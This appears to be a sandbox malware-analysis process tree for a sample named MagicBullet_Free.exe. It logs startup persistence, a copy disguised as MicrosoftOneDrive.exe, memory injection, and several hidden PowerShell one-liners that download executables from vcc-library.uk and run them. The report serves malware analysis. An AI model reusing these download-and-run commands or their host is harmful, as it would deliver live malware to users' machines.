PID 5132 wrote to memory of 1500	5132	cmd.exe	111
PID 2252 wrote to memory of 3552	2252	powershell.exe	112
PID 5532 wrote to memory of 1060	5532	powershell.exe	113
PID 4896 wrote to memory of 2832	4896	MagicBullet_Free.exe	118
PID 2832 wrote to memory of 1216	2832	MicrosoftOneDrive.exe	119
PID 2832 wrote to memory of 2240	2832	MicrosoftOneDrive.exe	120
PID 2832 wrote to memory of 2240	2832	MicrosoftOneDrive.exe	120
PID 2832 wrote to memory of 2240	2832	MicrosoftOneDrive.exe	120
PID 2832 wrote to memory of 2240	2832	MicrosoftOneDrive.exe	120
PID 2832 wrote to memory of 2240	2832	MicrosoftOneDrive.exe	120
PID 2832 wrote to memory of 2240	2832	MicrosoftOneDrive.exe	120
PID 2832 wrote to memory of 2240	2832	MicrosoftOneDrive.exe	120
PID 2832 wrote to memory of 1880	2832	MicrosoftOneDrive.exe	121
PID 2832 wrote to memory of 1880	2832	MicrosoftOneDrive.exe	121
PID 2832 wrote to memory of 1880	2832	MicrosoftOneDrive.exe	121
PID 2832 wrote to memory of 1880	2832	MicrosoftOneDrive.exe	121
PID 2832 wrote to memory of 1880	2832	MicrosoftOneDrive.exe	121
PID 2832 wrote to memory of 1880	2832	MicrosoftOneDrive.exe	121
PID 2832 wrote to memory of 1880	2832	MicrosoftOneDrive.exe	121
PID 2832 wrote to memory of 3336	2832	MicrosoftOneDrive.exe	122
PID 2832 wrote to memory of 3336	2832	MicrosoftOneDrive.exe	122
PID 2832 wrote to memory of 3336	2832	MicrosoftOneDrive.exe	122
PID 2832 wrote to memory of 3336	2832	MicrosoftOneDrive.exe	122
PID 2832 wrote to memory of 3336	2832	MicrosoftOneDrive.exe	122
PID 2832 wrote to memory of 3336	2832	MicrosoftOneDrive.exe	122
PID 2832 wrote to memory of 3336	2832	MicrosoftOneDrive.exe	122
PID 1216 wrote to memory of 4968	1216	cmd.exe	124
PID 2832 wrote to memory of 3212	2832	MicrosoftOneDrive.exe	126
PID 4968 wrote to memory of 5508	4968	cmd.exe	128
PID 4896 wrote to memory of 4364	4896	MagicBullet_Free.exe	129
PID 3212 wrote to memory of 2480	3212	cmd.exe	130
PID 4364 wrote to memory of 1404	4364	msedge.exe	132

C:\Users\Admin\AppData\Local\Temp\MagicBullet_Free.exe
"C:\Users\Admin\AppData\Local\Temp\MagicBullet_Free.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK360584.exe; Start-Process -FilePath $env:TEMP\BK360584.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK360584.exe; Start-Process -FilePath $env:TEMP\BK360584.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3368
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK360584.exe; Start-Process -FilePath $env:TEMP\BK360584.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2660
    - - C:\Users\Admin\AppData\Local\Temp\BK360584.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK360584.exe"
        5⤵
        Executes dropped EXE
        
        PID:2956
      - C:\Windows\System32\svchost.exe
        
        "C:\Windows\System32\svchost.exe"
        6⤵
        
        PID:4528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK685075.exe; Start-Process -FilePath $env:TEMP\BK685075.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK685075.exe; Start-Process -FilePath $env:TEMP\BK685075.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4592
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK685075.exe; Start-Process -FilePath $env:TEMP\BK685075.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5532
    - - C:\Users\Admin\AppData\Local\Temp\BK685075.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK685075.exe"
        5⤵
        Executes dropped EXE
        
        PID:1060
- C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe"
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK360584.exe; Start-Process -FilePath $env:TEMP\BK360584.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1216
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK360584.exe; Start-Process -FilePath $env:TEMP\BK360584.exe -WindowStyle Hidden }"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4968
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK360584.exe; Start-Process -FilePath $env:TEMP\BK360584.exe -WindowStyle Hidden }"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious use of AdjustPrivilegeToken
        
        PID:5508
      - C:\Users\Admin\AppData\Local\Temp\BK360584.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK360584.exe"
        6⤵
        Executes dropped EXE
        
        PID:1888
        
        C:\Windows\System32\DiskSnapshot.exe
        
        "C:\Windows\System32\DiskSnapshot.exe"
        7⤵
        
        PID:6904
- - C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe"
    3⤵
    - Executes dropped EXE
    PID:2240
- - C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe"
    3⤵
    - Executes dropped EXE
    PID:1880
- - C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe"
    3⤵
    - Executes dropped EXE
    PID:3336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK685075.exe; Start-Process -FilePath $env:TEMP\BK685075.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3212
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK685075.exe; Start-Process -FilePath $env:TEMP\BK685075.exe -WindowStyle Hidden }"
      4⤵
      Executes a command shell one-liner
      PID:2480
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK685075.exe; Start-Process -FilePath $env:TEMP\BK685075.exe -WindowStyle Hidden }"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious use of AdjustPrivilegeToken
        
        PID:2696
      - C:\Users\Admin\AppData\Local\Temp\BK685075.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK685075.exe"
        6⤵
        Executes dropped EXE
        
        PID:6088
- - C:\Windows\system32\cmd.exe
    /c start C:\Users\Admin\AppData\Local\Temp\ox_1786106207324.exe
    3⤵
    PID:7116
  - - C:\Users\Admin\AppData\Local\Temp\ox_1786106207324.exe
      C:\Users\Admin\AppData\Local\Temp\ox_1786106207324.exe
      4⤵
      Executes dropped EXE
      PID:5864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/magicbullet
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x350,0x7ffac79ac188,0x7ffac79ac194,0x7ffac79ac1a0
    3⤵
    PID:1404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1536,i,13944841667000893465,2615371355043738318,262144 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=2632 /prefetch:2
    3⤵
    PID:2676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1868,i,14990830758942935544,7123373265359028180,524288 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=2676 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4528
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2176,i,13649723111459171296,4690085315880467766,524288 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=3164 /prefetch:13
    3⤵
    PID:6048
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3548,i,13676200869159617966,2986710571608431223,2097152 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:1
    3⤵
    PID:3608
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3560,i,10945458056753541323,11445283594075019032,2097152 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:1
    3⤵
    PID:2592
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4244,i,2963803099196055596,973388480692491686,2097152 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=4260 /prefetch:1
    3⤵
    PID:3524
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4252,i,7147276906353807570,3213143269867355545,2097152 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=4312 /prefetch:9
    3⤵
    PID:3328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3736,i,16723586214525040903,16356824691077438499,524288 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:14
    3⤵
    PID:1848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5488,i,7629368275166532702,5685985456045896276,2097152 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:1
    3⤵
    PID:5160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5060,i,3855358190021340704,5435998037696411241,524288 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:14
    3⤵
    PID:3044
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4428,i,17169945010123109774,5293927920311529803,524288 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:14
    3⤵
    PID:5884
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6336,i,8060463937778044903,9947850117161932436,524288 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=6352 /prefetch:14
    3⤵
    PID:2596
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6336,i,8060463937778044903,9947850117161932436,524288 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=6352 /prefetch:14
    3⤵
    PID:1240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6532,i,17793801119378777839,7633243122305121655,524288 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:14
    3⤵
    PID:2232
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6852,i,11855623556040129240,6740539723428730088,524288 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=6860 /prefetch:14
    3⤵
    - Modifies registry class
    PID:200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6848,i,13544474341979598804,16887832109402512622,524288 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=6788 /prefetch:12
    3⤵
    PID:1420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7308,i,3264244707065496466,2393691802427632650,524288 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=7300 /prefetch:14
    3⤵
    PID:6460
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6132,i,3405798905787728051,11323865824036700980,524288 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=7280 /prefetch:14
    3⤵
    PID:5252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6672,i,12580606945650399099,3619688186881364272,524288 --field-trial-handle=2636,i,17825734509785986362,4840196304115594063,262144 --variations-seed-version --mojo-platform-channel-handle=6676 /prefetch:14
    3⤵
    PID:3088
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    PID:6280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x328,0x7ffac79ac188,0x7ffac79ac194,0x7ffac79ac1a0
      4⤵
      PID:6340
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1876,i,4962325691880823621,7971493548001162980,524288 --field-trial-handle=2260,i,1585062059690755113,6973584404971107829,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:11
      4⤵
      System Time Discovery
      PID:6656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2456,i,4219212596022761685,15859681138939569943,524288 --field-trial-handle=2260,i,1585062059690755113,6973584404971107829,262144 --variations-seed-version --mojo-platform-channel-handle=2696 /prefetch:13
      4⤵
      PID:6740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1556,i,9337224386493445929,12770779366232983158,262144 --field-trial-handle=2260,i,1585062059690755113,6973584404971107829,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:2
      4⤵
      PID:6672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4364,i,650029171506347598,3462378581757350599,524288 --field-trial-handle=2260,i,1585062059690755113,6973584404971107829,262144 --variations-seed-version --mojo-platform-channel-handle=4380 /prefetch:14
      4⤵
      PID:3416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4364,i,650029171506347598,3462378581757350599,524288 --field-trial-handle=2260,i,1585062059690755113,6973584404971107829,262144 --variations-seed-version --mojo-platform-channel-handle=4380 /prefetch:14
      4⤵
      PID:3732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2104,i,16392906165234640296,17987408018413952790,524288 --field-trial-handle=2260,i,1585062059690755113,6973584404971107829,262144 --variations-seed-version --mojo-platform-channel-handle=3044 /prefetch:14
      4⤵
      PID:6048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2076,i,2990562332102221842,13767400539101323331,524288 --field-trial-handle=2260,i,1585062059690755113,6973584404971107829,262144 --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:14
      4⤵
      PID:4404
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2092,i,3176296671932546346,9683660238775529307,524288 --field-trial-handle=2260,i,1585062059690755113,6973584404971107829,262144 --variations-seed-version --mojo-platform-channel-handle=4972 /prefetch:14
      4⤵
      PID:4888
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4784,i,10359234130069499090,11345295623803818149,524288 --field-trial-handle=2260,i,1585062059690755113,6973584404971107829,262144 --variations-seed-version --mojo-platform-channel-handle=4748 /prefetch:14
      4⤵
      PID:5004
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5088,i,2680061600277699862,10386825688371643091,524288 --field-trial-handle=2260,i,1585062059690755113,6973584404971107829,262144 --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:14
      4⤵
      PID:5044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=804,i,17976165324397647203,15004422635303220130,524288 --field-trial-handle=2260,i,1585062059690755113,6973584404971107829,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:14
      4⤵
      PID:6180

C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe
C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:5296
- C:\Windows\system32\cmd.exe
